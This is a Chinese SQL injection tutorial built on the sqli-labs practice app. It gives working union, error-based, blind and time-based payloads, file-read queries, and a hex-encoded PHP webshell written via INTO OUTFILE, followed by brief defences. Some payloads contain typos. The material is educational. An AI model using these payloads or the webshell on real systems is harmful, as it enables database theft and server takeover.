sql注入漏洞详解

目录

  • 介绍
  • sql注释
  • 常用语法
      • 判断数据库
      • 常用语句
    • 常用函数
    • 判断是否存在sql注入
    • 常见的注入
    • 1、union注入
      • union联合报错注入
      • union联合查询
    • 2、报错注入
      • floor报错
      • extractValue报错注入
      • updatexml报错注入
    • 3、盲注
      • 布尔盲注
      • 时间盲注
    • 4、宽字节注入
    • 5、堆叠注入
    • 6、二次注入
    • 7、regexp正则匹配
    • 8、cookie注入
    • 9、user-agent注入
    • 10、文件读写
    • from for分页
    • SQL注入的防御

介绍

SQL注入因为后台sql语句拼接了用户的输入,而且web应用程序对用户输入数据的合法性没有判断和过滤,导致构造的sql语句可对数据库实现任意操作

sql注释

sql注入时要注释掉后面的部分才能使整个语句正确运行
# 单行注释

select * from users where id=1 union select 1,2,database()# limit 0,30;

–空格注释符

select * from users where id=1 union select 1,2,database() -- ' limit 0,30;

–后面有个空格,否则会报错,不过书写时可能疏忽,因此空格后一般写一个随机字符串。

/**/多行注释

常用语法

判断数据库

mysql 数据库有表information_schema;
oracle 数据库有表dual;
sqlserver 数据库有表sysobjects;
access 数据库有表msysobjects;

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
 
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #

常用语句

盲注类型
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5   //正常显示,不断进行尝试可得到当前数据库长度
 
2:判断当前数据库的字符,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100//不断尝试可得当前数据库为 security
 

界面信息展示
获取数据库名
http://192.168.101.101/Less-1/?id=-1' union select 1,version(),database() --+
获取数据库中的表名
http://192.168.101.101/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取表中的字段名
http://192.168.101.101/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from%20information_schema.columns where table_name='users' --+
获取表中的内容
192.168.101.101/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

常用函数

version():查看数据库版本
database():查看数据库名
user():查看数据库用户
system_user():查看系统用户名
current_user():查看当前用户名
load_file():读取本地文件
@@datadie:读数据库路径
@@basedir:数据库的安装路径

判断是否存在sql注入

1、先加单引号’ 、双引号”、单括号)、双括号))、单引号加括号’)、双引号加括号")等等看看是否报错,如果报错可能存在注入
2、在url后面加and 1=1、and 1=2看页面显示是否一样,若不一样可能存在sql注入漏洞
3、时间盲注可以通过sleep进行测试

常见的注入

1、union注入

union注入适用于有显示列的注入,可以通过order by来判断当前查询的列数。

http://192.168.101.101/Less-1/?id=1'  order by 3--+

通过不断测试得知当前语句中查询的列数为3,接下来用户判断展示内容的顺序和位置

http://192.168.101.101/Less-1/?id=1'  union select 1,2,3--+

sql注入漏洞详解_第1张图片

此时并不展示union构造的1,2,3的内容因为界面只展示一行数据为id=1的内容,我们把id设置一个不存在的这样就展示了构造union后的sql内容了

http://192.168.101.101/Less-1/?id=-1'  union select 1,2,3--+

sql注入漏洞详解_第2张图片

union联合报错注入

http://192.168.101.101/Less-1/?id=-1' and(updatexml(1,concat(0x7e,(select database())),0))--+

sql注入漏洞详解_第3张图片

union联合查询

http://192.168.101.101/Less-1/?id=-1' union select 1,version(),database()--+

id为-1是让查询结果为空这样能展示union后的查询语句内容
sql注入漏洞详解_第4张图片

2、报错注入

floor报错

在sql语句中floor,count,group by同时使用遇到的冲突问题

如下是介绍floor与group by使用报错的原理:
sql注入漏洞详解_第5张图片
concat连接作用,把database换成想要的sql语句即可

extractValue报错注入

参考updatexml报错注入

updatexml报错注入

updatexml报错注入

3、盲注

盲注:指完成了注入攻击但是服务器没有错误回显。
常用的函数:ascii()、substr()、length()、exists()、concat()等

布尔盲注

Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。

判断方式:
1.id=1’ 报错
2.id=1 and 1=1 结果和id=1一样
3.id=1 and 1=2 结果异常

常用函数解析:
通过长度判断length():length(database())>=x
通过字符判断substr():substr(database(),1,1) =‘s’
通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x

通过构造的sql语句来查看页面返回结果,根据对比结果判断正确与否。

例题:sqli-labs page1 less-8

http://192.168.101.101/Less-8/?id=1

sql注入漏洞详解_第6张图片http://192.168.101.101/Less-8/?id=1’ and ascii(substr(database(),1,1))=115–+
sql注入漏洞详解_第7张图片获取数据库长度

and (length(database()))=一个数 %23

获得数据库名

and (ascii(substr(database(),1,1)))=一个数 %23

获得当前数据库下表的个数

and (select count(*) from information_schema.tables where table_schema='数据库名')=一个数  %23

判断每个表的长度

and(length((select table_name from information_schema.tables where table_schema='库名' limit0,1)))=一个数 %23

获取表名

and(ascii(subste((select table_name from information_schema.tables where table_schema='库名' limit0,1),1,1))=一个数)

获取表内字段的数量

and(select count(*)from information_schema columns where table_schema='库名' and table_name='表名')=一个数 %23

获取字段的长度

and  (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23

获取第一个字段的名称

and  (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23

获取第一个数据内容的长度

and(length((select 字段名 from 表名 limit 1,1)))=一个数 %23 

获取第一个数据的内容

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一个数 %23

时间盲注

时间盲注通过简单的语句无法看出异常,页面上没有错误显示也没有正常的显示内容,加入sleep(3)之后页面回显的速度变慢

http://192.168.101.101/Less-9/?id=1' and if(1=1,sleep(3),null)--+

sql注入漏洞详解_第8张图片

4、宽字节注入

宽字节注入详解
修复:
1、将character_set_client设置为binary二进制,在所有的sql语句前指定链接的形式是二进制

5、堆叠注入

sql语句中分号;表示一条语句的结束。若想多条语句都执行则在每个语句中间加上分号即可。
例如:

select id,username,password from users;
insert into users(id,username,password) values(1,'a','a');
delete from users where id=1;

union 或者union all是跟着原有sql语句一起执行,语句类型有限制。而堆叠注入是可以执行任意语句。

6、二次注入

通常发生在更改,需要二次
第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

7、regexp正则匹配

查找name字段中以zh开头的所有数据

select name from users where name regexp '^zh';
// 判断security数据库下的第一个表的是否以a-z的字母开头
http://127.0.0.1/sqli/Less-1/?id=1' and  1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #

^开头
$结尾等语法,就是正则的规则

8、cookie注入

9、user-agent注入

使用burp抓包,然后在该数据包的User-Agent字段添加任意测试内容(跟上面的注入语句一样,就是这个语句写在了user-agent里面了)

例:

http://192.168.101.101/Less-18/

sql注入漏洞详解_第9张图片

sql注入漏洞详解_第10张图片

10、文件读写

  • 有显示列的时候,文件读可以利用union注入
  • 当没有显示列的时候,只能利用盲注进行数据读取

union注入读取文件

http://192.168.101.101/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt")

在这里插入图片描述
盲注读取文件

//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1

union写入文件

可以利用写入文件的功能,在d盘创建a.php文件,然后写入一句话木马

//利用union注入写入一句话木马  into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,''  into outfile  'd:/a.php' #
// 可以将一句话木马转换成16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e  into outfile  'e:/4.php' #

from for分页

mysql> select database();
+------------+
| database() |
+------------+
| security    |
+------------+
1 row in set (0.00 sec)

mysql> select substr(database() from 1 for 2);
+---------------------------------+
| substr(database() from 1 for 2) |
+---------------------------------+
| se                              |
+---------------------------------+
1 row in set (0.00 sec)

mysql> select substr(database() from 2 for 3);
+---------------------------------+
| substr(database() from 2 for 3) |
+---------------------------------+
| ecu                             |
+---------------------------------+
1 row in set (0.00 sec)
#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。

SQL注入的防御

1、预编译
2、用正则表达式过滤
3、web应用连接数据库的权限降到最低只允许查看
4、使用web应用防火墙

你可能感兴趣的:(web,sql,数据库)